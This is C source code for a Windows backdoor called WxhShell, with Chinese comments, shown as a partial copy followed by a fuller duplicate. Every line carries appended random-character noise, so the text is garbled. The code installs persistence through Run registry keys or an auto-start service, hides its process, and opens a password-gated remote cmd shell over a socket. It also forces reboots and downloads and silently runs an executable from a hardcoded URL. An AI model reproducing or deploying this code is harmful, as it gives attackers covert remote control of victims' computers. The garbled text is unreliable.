    if(Boot(SHUTDOWN)) ycH=L8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y@(U 6ZOyx  
    else { +yYz;, \  
    closesocket(wsh); ?2i``-|Wa  
    ExitThread(0); s5[ Cr"q7B  
    } AKHi$Bk  
    break; s*Fmu7o43  
    } 2yN~[, L  
  // 获取shell 68D.Li  
  case 's': { /1^%32c  
    CmdShell(wsh); [k.<x'#  
    closesocket(wsh); v3[ 2!UXq  
    ExitThread(0); 7N:,F9V<  
    break; #-{4 Jx  
  } UrtN3icph  
  // 退出 t#d~gBe?V  
  case 'x': { )UxF lp;\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oZIoY*7IrQ  
    CloseIt(wsh); 9SU;c l  
    break; .qHgQ_%  
    } r..Rh9v/=E  
  // 离开 HWc=.Qq  
  case 'q': { uYs+x X_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *f,EDSN1@d  
    closesocket(wsh); +DU}f;O8v  
    WSACleanup(); 8J@REP4  
    exit(1); jbG #__#_  
    break; ~< k'{  
        } 8J>s|MZ  
  } 3n,F5?! m  
  } h-6kf:XP%  
H_jMl$f)j  
  // 提示信息 9iGJYMWf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <8'}H`w%  
} l.&6|   
  } 0uj3kr?cv  
k<AnTboa  
  return; WyO10yvR  
} k6$.pCH6  
v_b%2;<1  
// shell模块句柄 OpiN,>;  
int CmdShell(SOCKET sock) **oN/5  
{ "EA%!P:d,  
STARTUPINFO si; d^,u"Z9P  
ZeroMemory(&si,sizeof(si)); UD .$C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b2ZKhS8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V RT| OUq  
PROCESS_INFORMATION ProcessInfo; |J8c|h<  
char cmdline[]="cmd"; 5I@< 6S&X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vQ 5 p  
  return 0; 0Pbv7)=XL  
} 2o6%P}C  
LB-4/G$  
// 自身启动模式 }2G'3msx  
int StartFromService(void) x|1OGbBK  
{ g#:?Ay-m  
typedef struct ':J[KWuV  
{ V+DN<F-  
  DWORD ExitStatus; $My%7S/3  
  DWORD PebBaseAddress; X62GEqff  
  DWORD AffinityMask; g }5lGz4  
  DWORD BasePriority; T,5]EHea  
  ULONG UniqueProcessId; N5o jXX!l%  
  ULONG InheritedFromUniqueProcessId; 0<fN<iR`  
}   PROCESS_BASIC_INFORMATION; meE&, {  
3!#d&  
PROCNTQSIP NtQueryInformationProcess; EdLbVrN,  
Z+E@B>D7A^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YQ;?N66  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wOn.m  
qWy(f|:hYi  
  HANDLE             hProcess; (Y:5u}*Y  
  PROCESS_BASIC_INFORMATION pbi; cbNrto9  
6 fL=2a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xa??OT`(  
  if(NULL == hInst ) return 0; H71LJfH  
K oo%mr   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `cCsJm$V"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N<9C V!_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R9^Vk*`gFU  
RYy_Ppn96f  
  if (!NtQueryInformationProcess) return 0; +A O(e  
A-qdTJP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6gNsh  
  if(!hProcess) return 0; 3N[t2Y1r  
FG:(H0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G-~+FnUC  
8-+Ce;h  
  CloseHandle(hProcess); ]haZT\  
&KmV tj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }[\l$sS  
if(hProcess==NULL) return 0; }e  s  
UXvUU^k"v  
HMODULE hMod; t*iKkV^aE  
char procName[255]; 1=}+NK!  
unsigned long cbNeeded; 9aHV~5  
g Q6_]~4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]oUvC  
!0i  
  CloseHandle(hProcess);  $TGE  
<Y9%oJn%  
if(strstr(procName,"services")) return 1; // 以服务启动 A_i=hj 2f  
9rf6,hF  
  return 0; // 注册表启动 'H0uvvhOp  
} il|e5TD^  
)w4i0Xw^C:  
// 主模块 ~+ Mp+gE  
int StartWxhshell(LPSTR lpCmdLine) -XRn%4EX?  
{ j  Jt"=  
  SOCKET wsl; Y{ijSOl3  
BOOL val=TRUE; 49W@?: b  
  int port=0; yb\T< *  
  struct sockaddr_in door; sIJl9  
C8W#$a  
  if(wscfg.ws_autoins) Install(); 2<q>]G-nN  
=^\yE"a  
port=atoi(lpCmdLine); H,u{zU')  
?0*,x)t  
if(port<=0) port=wscfg.ws_port; VKqIFM1b  
r~nD%H:}P  
  WSADATA data; \,&,Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P;4Y%Dq~Qo  
H65><38X/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >pdWR1ox  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `\_>P@qz  
  door.sin_family = AF_INET; M#Kke9%2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4z%::?  
  door.sin_port = htons(port); l1HMH?0|  
jlXzfD T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v#c'p^T  
closesocket(wsl); Td(eNe_4T  
return 1; & 6 wD  
} = p{55dR  
Pu>jECcz  
  if(listen(wsl,2) == INVALID_SOCKET) { >>bsr#aJ  
closesocket(wsl); +-2o b90_m  
return 1; : 8h\x  
} -Y>,\VEK  
  Wxhshell(wsl); v]{F.N  
  WSACleanup(); &rs   
{G.W?  
return 0; *@)0TL( 03  
}$%j}F{  
} BA(erf>  
GBeWF-`B  
// 以NT服务方式启动 F \0>/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C-)mP- |8  
{ 5ir Ffr  
DWORD   status = 0; L)(JaZyV5  
  DWORD   specificError = 0xfffffff; 1V ,Mk#_  
7M8oI.?C|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /|s~X@%K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 27J!oin$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N> 7sG(!'"  
  serviceStatus.dwWin32ExitCode     = 0; A#7/,1h\  
  serviceStatus.dwServiceSpecificExitCode = 0; vbBNXy/  
  serviceStatus.dwCheckPoint       = 0; ahICx{hK  
  serviceStatus.dwWaitHint       = 0; ^#( B4l!  
ty ESDp%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r+:]lO  
  if (hServiceStatusHandle==0) return; C GN=kQ  
f |%II,!3  
status = GetLastError(); $|"Y|3&X  
  if (status!=NO_ERROR) c!0u,6  
{ Ms=5*_J2Jk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ ck)yY?7  
    serviceStatus.dwCheckPoint       = 0; 11VtC)  
    serviceStatus.dwWaitHint       = 0; b!p]\B!  
    serviceStatus.dwWin32ExitCode     = status; NMs 8^O|0  
    serviceStatus.dwServiceSpecificExitCode = specificError; r{cmw`WA/P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DplS\}='s  
    return; [x%[N)U3  
  } r{>`"  
`uP:UQ9S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Gv*yR*]t  
  serviceStatus.dwCheckPoint       = 0; (n{x"rLy/  
  serviceStatus.dwWaitHint       = 0; z`}z7e'>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6.Jvqn  
} ThvgYv--B  
_sqj~|K  
// 处理NT服务事件,比如:启动、停止 &L[i"1a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @vZeye  
{ 9epMw-)k  
switch(fdwControl) cs lZ;  
{ |`|#-xu  
case SERVICE_CONTROL_STOP: %?`O .W  
  serviceStatus.dwWin32ExitCode = 0; Z)&!ZlM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ='vD4}"j  
  serviceStatus.dwCheckPoint   = 0; `.z"Q%uz  
  serviceStatus.dwWaitHint     = 0;  \OJam<hZ  
  { .} O@<t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8$F"!dc _  
  } I1 pnF61U  
  return; w!dgIS$  
case SERVICE_CONTROL_PAUSE: d88Dyzz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4aP 96  
  break; _`I}"`2H  
case SERVICE_CONTROL_CONTINUE: *z'v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WKAG)4  
  break; $PstEL  
case SERVICE_CONTROL_INTERROGATE: ?:tk8Kgf  
  break; gc\/A\F<  
}; DFkDlx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3q W](  
} {^D; ($lm  
z+Guu8  
// 标准应用程序主函数 v,'k 2H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;kI)j ?  
{ 4Ei8G]O $_  
[g bFs-B2/  
// 获取操作系统版本 dl.gCiI  
OsIsNt=GetOsVer(); iE EP~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S zNZY&8 f  
Bs `mzA54  
  // 从命令行安装 ?edf$-"z/  
  if(strpbrk(lpCmdLine,"iI")) Install(); p*j>s \  
0q4P hxR`e  
  // 下载执行文件 [uwn\-  
if(wscfg.ws_downexe) { ?y-@c]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &MZ{B/;;H  
  WinExec(wscfg.ws_filenam,SW_HIDE); bf=!\L$  
} KE.O>M ,I.  
U!{~L$S  
if(!OsIsNt) { .-'_At4g  
// 如果时win9x,隐藏进程并且设置为注册表启动 w`DcnQK'  
HideProc(); -%Rw2@vU  
StartWxhshell(lpCmdLine); KPVu-{_Fi  
} 2"T b><^"  
else fH@cC`  
  if(StartFromService()) IL`LI J:O  
  // 以服务方式启动 /lC,5y  
  StartServiceCtrlDispatcher(DispatchTable); v%r/PHw  
else O>N/6Z  
  // 普通方式启动 {)iiu  
  StartWxhshell(lpCmdLine); 3:O|p[2)L  
e*}*3kw)T  
return 0; Sp6==(:.  
} R4X9g\KpAt  
u/<ZGW(&s(  
!</U"P:L  
kbL7Xjk  
=========================================== deQ {  
l{*m-u5&;  
pIV |hb!G  
<FX ]n<  
rK3KxG  
%"cOX  
" k')H5h+Q=  
[,MaAB  
#include <stdio.h> L8q#_k  
#include <string.h> `ZZ3!$czR  
#include <windows.h> ,SPgop'  
#include <winsock2.h> }3, 4B -8!  
#include <winsvc.h> S\]9mHJI  
#include <urlmon.h> "n{';Q)  
ZbiC=uh  
#pragma comment (lib, "Ws2_32.lib") q44vI  
#pragma comment (lib, "urlmon.lib") ;HBKOe_3  
a x)J!I18  
#define MAX_USER   100 // 最大客户端连接数 pTaC$Ne  
#define BUF_SOCK   200 // sock buffer y4! :l=E^  
#define KEY_BUFF   255 // 输入 buffer M,W-,l ]  
UD8e,/  
#define REBOOT     0   // 重启 5t-d+vB  
#define SHUTDOWN   1   // 关机 6ddRFpe  
(-Q~@Q1  
#define DEF_PORT   5000 // 监听端口 ^I|i9MH  
W[k rq_c-  
#define REG_LEN     16   // 注册表键长度 f[vm]1#  
#define SVC_LEN     80   // NT服务名长度 ]&;In,z  
TQ:h[6v  
// 从dll定义API 0i"2s}^+_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {\`y)k 7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V FM!K$_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |Eh2#K0x4G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CzY18-L@EX  
!VaC=I^{  
// wxhshell配置信息 }z#M!~  
struct WSCFG { Q>$lf.)  
  int ws_port;         // 监听端口 1ni72iz\  
  char ws_passstr[REG_LEN]; // 口令 urE7ZKdI  
  int ws_autoins;       // 安装标记, 1=yes 0=no n&o"RE 0~0  
  char ws_regname[REG_LEN]; // 注册表键名 t*; KxQ+'?  
  char ws_svcname[REG_LEN]; // 服务名 am !ssF5s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2D:,(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 daP_Kz/2K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7x77s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `\|@w@f|;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nmd{C(^o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 St(jrZb  
q"@ #FS  
}; B|V!=r1%  
r\#nBoo(  
// default Wxhshell configuration ZXL'R |?  
struct WSCFG wscfg={DEF_PORT, jz HWs  
    "xuhuanlingzhe", e`U 6JzC  
    1, 5~Ek_B  
    "Wxhshell", kN3 <l7  
    "Wxhshell", /_HTW\7,  
            "WxhShell Service", :/%Y"0  
    "Wrsky Windows CmdShell Service", x_I*6?  
    "Please Input Your Password: ", qou\4YZ  
  1, #AP;GoIf"j  
  "http://www.wrsky.com/wxhshell.exe", Z m%,L$F*L  
  "Wxhshell.exe" $=,pQ q  
    }; vE8BB$D  
7QnWw0  
// 消息定义模块 mA$86 X_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1=5HQ~|[TO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z9NND  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3bXfR,U  
char *msg_ws_ext="\n\rExit."; 7.Z-  
char *msg_ws_end="\n\rQuit."; *!TQC6b$  
char *msg_ws_boot="\n\rReboot..."; @%*2\8}C!  
char *msg_ws_poff="\n\rShutdown..."; !s^XWsb8  
char *msg_ws_down="\n\rSave to "; z. X hE \  
fVgN8b|&'  
char *msg_ws_err="\n\rErr!"; fzw:[z:%  
char *msg_ws_ok="\n\rOK!"; X`EVjK  
bM5V=b_H  
char ExeFile[MAX_PATH]; k0N>J8y  
int nUser = 0; J_7@d]0R  
HANDLE handles[MAX_USER]; CshME\/  
int OsIsNt; 16]Ay&Kn!  
ra6\+M~}e  
SERVICE_STATUS       serviceStatus; ~OsLbz:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N$ #~&  
PYWFz   
// 函数声明 &]LpGl  
int Install(void); Hc@_@G  
int Uninstall(void); - AgD  
int DownloadFile(char *sURL, SOCKET wsh); %.u*nM7sos  
int Boot(int flag); h~]e~u V  
void HideProc(void); S[q:b .  
int GetOsVer(void); $Zo|t a^  
int Wxhshell(SOCKET wsl); ;]0d{  
void TalkWithClient(void *cs); pnE]B0e  
int CmdShell(SOCKET sock); Mh2b!B  
int StartFromService(void); =H8FV09x}  
int StartWxhshell(LPSTR lpCmdLine); 4h_YVG]ur  
#]5KWXC'~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tY]?2u%)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N>YSXh`W`y  
?;htK_E\*  
// 数据结构和表定义 `p9N| V  
SERVICE_TABLE_ENTRY DispatchTable[] = V s xI  
{ 'I+M*Iy  
{wscfg.ws_svcname, NTServiceMain}, Nu?A>Q  
{NULL, NULL} %*!6R:gAp  
}; n"aF#HR?0d  
AaxQBTB  
// 自我安装 ub fh4  
int Install(void) ^^7@kh mNl  
{ mD.6cV  
  char svExeFile[MAX_PATH]; 0>BI[x@  
  HKEY key; $#+D:W)az  
  strcpy(svExeFile,ExeFile); 7g]mrI@  
(yi zM  
// 如果是win9x系统,修改注册表设为自启动 P*?|E@;s`  
if(!OsIsNt) { HfhI9f_x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =No#/_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~GX ]K H  
  RegCloseKey(key); oy#(]K3`O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QICxSk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B+~ /-3  
  RegCloseKey(key); c1i:m'b_5  
  return 0; # $k1w@  
    } %i/|}K  
  } Q:Pp'[ RK  
} mRC3w(W  
else { -6I*k |%8T  
EV Z1Z  
// 如果是NT以上系统,安装为系统服务 axt;}8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]S]W|m7=.Z  
if (schSCManager!=0) 8rS;}Bt  
{ ](Wa:U}Xs  
  SC_HANDLE schService = CreateService 2]9 2J  
  ( |n tWMm:(  
  schSCManager, "0Z /|&  
  wscfg.ws_svcname, =y@0i l+V  
  wscfg.ws_svcdisp, $\vNST E  
  SERVICE_ALL_ACCESS, x:~XZX\mwH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rvu5#_P  
  SERVICE_AUTO_START, %Rf9 KQ  
  SERVICE_ERROR_NORMAL, 60{DR >S  
  svExeFile, cf$ hIB)Oi  
  NULL, csLbzDg  
  NULL, 1Dc6v57  
  NULL, KMkD6g  
  NULL, d9U)O6=  
  NULL kZF<~U  
  ); CUG"2K9  
  if (schService!=0) LI3L~6A>  
  { N0^SWA|S  
  CloseServiceHandle(schService); jlF3LK)9q  
  CloseServiceHandle(schSCManager); }riM-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G%l')e)9Gq  
  strcat(svExeFile,wscfg.ws_svcname); ^yc8is'`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )4qspy3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S .x>w/  
  RegCloseKey(key); % JiF269  
  return 0; CP; <B1  
    } ]o"E 4Vht  
  } X[tB^`  
  CloseServiceHandle(schSCManager); #[x*0K-h  
} 0{ B<A^Bf  
} G8__6v~  
SE'|||B  
return 1; i}C%8} %  
} #o} /'  
z8"1*V  
// 自我卸载 ReM]I<WuY  
int Uninstall(void) v9r.w-  
{ {*hvzS{1d  
  HKEY key; e~(e&4pb  
!idVF!xG  
if(!OsIsNt) { [o(!/38"@=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D=3Z] 'A  
  RegDeleteValue(key,wscfg.ws_regname); z7:* ,X  
  RegCloseKey(key); @J 5TDq @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B=n90XO |  
  RegDeleteValue(key,wscfg.ws_regname); ak_y:O|  
  RegCloseKey(key); s:xJ }Ll  
  return 0; 6S n&; ap  
  } Z?=o(hkd  
} =8tK]lb  
} W<#!He  
else { <XDnAv0t  
:NWIUN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /*BU5  
if (schSCManager!=0) GT] >  
{ oxeu%wj_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s#a`e]#?  
  if (schService!=0) /Ta-3Eh!  
  { ~XWBLU<  
  if(DeleteService(schService)!=0) { )SZ#%OE*  
  CloseServiceHandle(schService); u8>aO>(bVg  
  CloseServiceHandle(schSCManager); MbInXv$q2/  
  return 0; l(_|CkcZ  
  } F7b% x7b  
  CloseServiceHandle(schService); zGz}.-F  
  } wN%lc3[/z2  
  CloseServiceHandle(schSCManager); (G./P@/[  
} sm{0o$\Z  
} A_E2v{*n  
FCwE/ 2,  
return 1; yevJA?C4 v  
} 3J 5,V  
S},Cz  
// 从指定url下载文件 hG#2}K_  
int DownloadFile(char *sURL, SOCKET wsh) >\:GFD{z  
{ xq,ql@7  
  HRESULT hr; *JFkqbf  
char seps[]= "/"; +UX~'t_'v  
char *token; <+ [N*  
char *file; "HqmS  
char myURL[MAX_PATH]; P* &0HbJ  
char myFILE[MAX_PATH]; d*6/1vyjT  
,\&r\!=  
strcpy(myURL,sURL); z3L=K9)  
  token=strtok(myURL,seps); =ca[*0^Z7  
  while(token!=NULL) yO@1#  
  { ??.aLeF&  
    file=token; 8`)* ?Q9~  
  token=strtok(NULL,seps); k+"7hf=C|  
  } Gukvd6-g9b  
Srmr`[i  
GetCurrentDirectory(MAX_PATH,myFILE); ',]Aj!q  
strcat(myFILE, "\\"); L'KKU4zj  
strcat(myFILE, file); DOFW"SpE  
  send(wsh,myFILE,strlen(myFILE),0); i={4rZOD^  
send(wsh,"...",3,0); ZDp^k{AN9a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D8~\*0->  
  if(hr==S_OK) q&9]4j  
return 0; "bRjY?D  
else /\mYXi \  
return 1; LQ%QFfC  
E.Th}+  
} $vO<v<I'Gb  
}m^^6h  
// 系统电源模块 ,38M6yD  
int Boot(int flag) 3$P  
{ }TZM@{;  
  HANDLE hToken; - uO(qUa#  
  TOKEN_PRIVILEGES tkp; *6AqRE  
L ..  
  if(OsIsNt) { ~J~R.r/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gq*W 0S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T@P~A)>yo  
    tkp.PrivilegeCount = 1; )OFN0'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #tsP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w;Fy/XQ  
if(flag==REBOOT) { _!,2"dS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [9 :9<#?o^  
  return 0; z ULH gG  
} PcZ<JJ16F$  
else { |unvDXx-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ce}m$k  
  return 0; VE*`J i  
} tQT<1Q02i  
  } baTd;`Pn  
  else { lg )xQV  
if(flag==REBOOT) { tzgaHN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  %rlqq*  
  return 0; SQU@JKi; g  
} ARnq~E@1  
else { $\] Mvd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $39TP@?:Z)  
  return 0; Dt7z<1-)l  
} Lh-Y5(c o  
} h\Y~sm?!`  
{0fQE@5@  
return 1; iI'ib-d  
} ?G!p4u?C  
+T*? ?OW@  
// win9x进程隐藏模块 jp~Tlomp  
void HideProc(void) Syl9j]  
{ |=VWE>g  
Df2$2VU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^e_uprZWm  
  if ( hKernel != NULL ) QALr   
  { wKfq'W{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xqlnHf<G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]xb2W~  
    FreeLibrary(hKernel); e~># M $  
  } r+#g  
]Y->EME:W  
return; :TKx>~`  
} Uh1UZ r  
';.y`{/  
// 获取操作系统版本 }c= Y<Cdh  
int GetOsVer(void) (NfB+Ue}  
{ g co;8e_  
  OSVERSIONINFO winfo; n,-*$~{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mkt_pr  
  GetVersionEx(&winfo); fn7?g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #a|r ^%D  
  return 1; o,J8n;"l  
  else #^|2PFh5  
  return 0; 8~.8"gQ  
} |7Z}#eP//  
%Rr_fSoV  
// 客户端句柄模块 qyy .&+  
int Wxhshell(SOCKET wsl) {A ,w%  
{ -cn`D2RP  
  SOCKET wsh; {H9g&pfv  
  struct sockaddr_in client; '?NMQ  
  DWORD myID; , .=7{y~  
2p 7;v7)y  
  while(nUser<MAX_USER) f` -vnh^+  
{ t(.vX  
  int nSize=sizeof(client); l`X?C~JhJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r~,3  
  if(wsh==INVALID_SOCKET) return 1; wXdt\@Qr  
D]'8BS3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vt(}8C+  
if(handles[nUser]==0) *N{k#d/  
  closesocket(wsh); u!It' ;j  
else { Ngut  
  nUser++; x|^p9m"=%  
  } YReI|{O$c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?TW?2+  
|L}tAS`8  
  return 0; uz3 ?c6b  
} , :KJ({wM  
%|R]nB  
// 关闭 socket 6y?uH; SL  
void CloseIt(SOCKET wsh) e!C,<W&B\  
{ :y{@=E=XSC  
closesocket(wsh); ] ONmWo77o  
nUser--; @l_rB~  
ExitThread(0); c5Kc iTD^  
} M#8_Qbvfk  
JH2-'  
// 客户端请求句柄 ]D2 d=\  
void TalkWithClient(void *cs) fv* $=m  
{ HG5E,^1n  
*|L;&XM&/  
  SOCKET wsh=(SOCKET)cs; dIQ3snG  
  char pwd[SVC_LEN]; bG.`>   
  char cmd[KEY_BUFF]; \l5G   
char chr[1]; 4Uwcc):f  
int i,j; v`7~#Avhz  
~ `{{Z&  
  while (nUser < MAX_USER) { A&-2f]L tl  
,^v_gc  
if(wscfg.ws_passstr) { =XSupM[T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -B7X;{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'XYjo&w  
  //ZeroMemory(pwd,KEY_BUFF); )7E7K%:b,  
      i=0; (CYQ>)a  
  while(i<SVC_LEN) { Vm I Afe  
?4W6TSW-'  
  // 设置超时 3Dj>U*fP  
  fd_set FdRead; mv/ Nz?  
  struct timeval TimeOut; cvtn,Ml6  
  FD_ZERO(&FdRead); 7s0y.i~  
  FD_SET(wsh,&FdRead); AuBBSk8($  
  TimeOut.tv_sec=8; 00Ye ]j_  
  TimeOut.tv_usec=0; !0KN A1w,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =C)2DWJ1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e>uq/|.!  
Wh%@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6mIRa(6V  
  pwd=chr[0]; "%rU1/@#  
  if(chr[0]==0xd || chr[0]==0xa) { J~ z00p`E  
  pwd=0; 69odE+-X.  
  break; V4,\vgGu  
  } ~ sWXd~\  
  i++; zrC1/%T  
    } $TAsb>W!(  
/|v b)J  
  // 如果是非法用户,关闭 socket u+pZ<Bb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kidv^`.H$w  
} /Hq#!2)  
b0N7[M1Xl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZNDjk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QbWeQ[V{  
)fke;Y0  
while(1) { i>pUTT _[  
mJVru0  
  ZeroMemory(cmd,KEY_BUFF); ]qk`Yi  
a5`9mR)Y$'  
      // 自动支持客户端 telnet标准   Qg o| \=  
  j=0; X#MC|Fzy@  
  while(j<KEY_BUFF) { uxW<Eh4H*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )@ .0ai  
  cmd[j]=chr[0]; QT(]S>--n  
  if(chr[0]==0xa || chr[0]==0xd) { !]z4'*)W  
  cmd[j]=0;  O&dh<  
  break; [bBPs&7u  
  } ?,eq86-M  
  j++; [F,s=,S'M  
    } xu'b@G}12  
ORIXcj]  
  // 下载文件 ;s$ P?('  
  if(strstr(cmd,"http://")) { ECuNkmUI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *E/CNMn=E  
  if(DownloadFile(cmd,wsh)) Gs*X> D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z/e[$xT <  
  else `TDS 4Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R]S!PSoL  
  } M&rbXi.  
  else { <M,=( p{  
FeZGPxc~  
    switch(cmd[0]) { gJOD+~  
  |q\Rvt$d  
  // 帮助 yV) 9KGV+:  
  case '?': { z) "(&__  
